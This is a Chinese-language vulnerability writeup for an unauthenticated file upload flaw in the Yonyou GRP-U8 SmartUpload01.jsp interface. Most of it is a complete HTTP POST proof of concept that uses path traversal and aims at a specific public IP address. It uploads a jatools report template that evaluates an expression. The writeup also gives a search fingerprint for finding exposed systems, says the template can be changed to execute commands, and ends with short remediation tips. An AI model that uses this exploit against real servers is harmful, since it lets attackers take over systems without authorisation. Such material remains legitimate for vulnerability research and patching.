用友GRP-U8 SmartUpload01 文件上传漏洞

漏洞描述

用友GRP-U8行政事业内控管理软件是一款专门针对行政事业单位开发的内部控制管理系统，旨在提高内部控制的效率和准确性。该软件/u8qx/SmartUpload01.jsp接口存在文件上传漏洞，未经授权的攻击者可通过此漏洞上传恶意后门文件，从而获取服务器权限。

资产测绘

app=“用友-GRP-U8”

漏洞复现

poc：

POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: 111.230.26.150
Content-Type: multipart/form-data; boundary=----800717874476702101754515
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Length: 3438

------800717874476702101754515
Content-Disposition: form-data; name="uname"

../../../../../../../../../gogogo
------800717874476702101754515
Content-Disposition: form-data; name="input_localfile"; filename="gogogo.pdf"

<jatools Class="jatools.ReportDocument" Name="jatools report template">
<VariableContext>
</VariableContext>
<Page>
<Name>panel</Name>
<Children ItemClass="PagePanel">
<Item0>
<Name>header</Name>
<Width>753</Width>
<Height>80</Height>
<Children ItemClass="Label">
<Item0>
<Text>用一个Student对象,和其getMembers()方法,作成一个嵌套的表格dlvmwt</Text>
<ForeColor>-65536</ForeColor>
<X>41</X>
<Y>15</Y>
<Width>362</Width>
<Height>62</Height>
</Item0>
</Children>
<Type>100</Type>
</Item0>
<Item1>
<Name>footer</Name>
<Y>802</Y>
<Width>753</Width>
<Height>280</Height>
<Type>103</Type>
</Item1>
<Item2>
<Name>body</Name>
<Y>80</Y>
<Width>753</Width>
<Height>722</Height>
<Children ItemClass="Table">
<Item0>
<NodePath>学生表</NodePath>
<X>115</X>
<Y>77</Y>
<Children>
<Item0 Class="Label">
<Text>家庭成员</Text>
<Border/>
<PrintStyle>united-level:1;</PrintStyle>
<Cell>
<Row>3</Row>
<Col>0</Col>
<RowSpan>2</RowSpan>
</Cell>
</Item0>
<Item1 Class="Label">
<Text>关系</Text>
<BackColor>-4144897</BackColor>
<Border/>
<Cell>
<Row>3</Row>
<Col>1</Col>
</Cell>
</Item1>
<Item2 Class="Label">
<Text>性别</Text>
<BackColor>-4144897</BackColor>
<Border/>
<Cell>
<Row>3</Row>
<Col>2</Col>
</Cell>
</Item2>
<Item3 Class="Label">
<Text>年龄</Text>
<BackColor>-4144897</BackColor>
<Border/>
<Cell>
<Row>3</Row>
<Col>3</Col>
</Cell>
</Item3>
<Item4 Class="Label">
<Text>得分</Text>
<Border/>
<Cell>
<Row>2</Row>
<Col>0</Col>
</Cell>
</Item4>
<Item5 Class="Label">
<Text>性别</Text>
<Border/>
<Cell>
<Row>1</Row>
<Col>0</Col>
</Cell>
</Item5>
<Item6 Class="Label">
<Text>姓名</Text>
<Border/>
<Cell>
<Row>0</Row>
<Col>0</Col>
</Cell>
</Item6>
<Item7 Class="Text">
<Variable>=$学生表</Variable>
<Border/>
<Cell>
<Row>0</Row>
<Col>1</Col>
<ColSpan>3</ColSpan>
</Cell>
</Item7>
<Item8 Class="Text">
<Variable>=$学生表.value()</Variable>
<Border/>
<Cell>
<Row>1</Row>
<Col>1</Col>
<ColSpan>3</ColSpan>
</Cell>
</Item8>
<Item9 Class="Text">
<Variable>=$学生表.getName()</Variable>
<Border/>
<Cell>
<Row>2</Row>
<Col>1</Col>
<ColSpan>3</ColSpan>
</Cell>
</Item9>
<Item10 Class="RowPanel">
<Cell>
<Row>4</Row>
<Col>0</Col>
<ColSpan>4</ColSpan>
</Cell>
<Children ItemClass="Text">
<Item0> <Variable></Variable>
<Border/>
<Cell>
<Row>4</Row>
<Col>3</Col>
</Cell>
</Item0>
<Item1>
<Variable></Variable>
<Border/>
<Cell>
<Row>4</Row>
<Col>2</Col>
</Cell>
</Item1>
<Item2>
<Variable>;</Variable>
<Border/>
<Cell>
<Row>4</Row>
<Col>1</Col>
</Cell>
</Item2>
</Children>
<NodePath>成员</NodePath>
</Item10>
</Children>
<ColumnWidths>60,60,60,60</ColumnWidths>
<RowHeights>20,20,20,20,20</RowHeights>
</Item0>
</Children>
<Type>102</Type>
</Item2>
</Children>
</Page>
<NodeSource>
<Children ItemClass="ArrayNodeSource">
<Item0>
<Children ItemClass="ArrayNodeSource">
<Item0>
<TagName>成员</TagName>
<Expression>$.value()</Expression>
</Item0>
</Children>
<TagName>学生表</TagName>
<Expression>new Object[]{123*123}</Expression>
</Item0>
</Children>
</NodeSource>
</jatools>
------800717874476702101754515--

访问上传文件

当然，也可以修改模板，达到命令执行的效果

整改建议

通过防火墙等安全设备限制访问策略，设置内容检测机制和白名单访问
如非必要，禁止公网访问该系统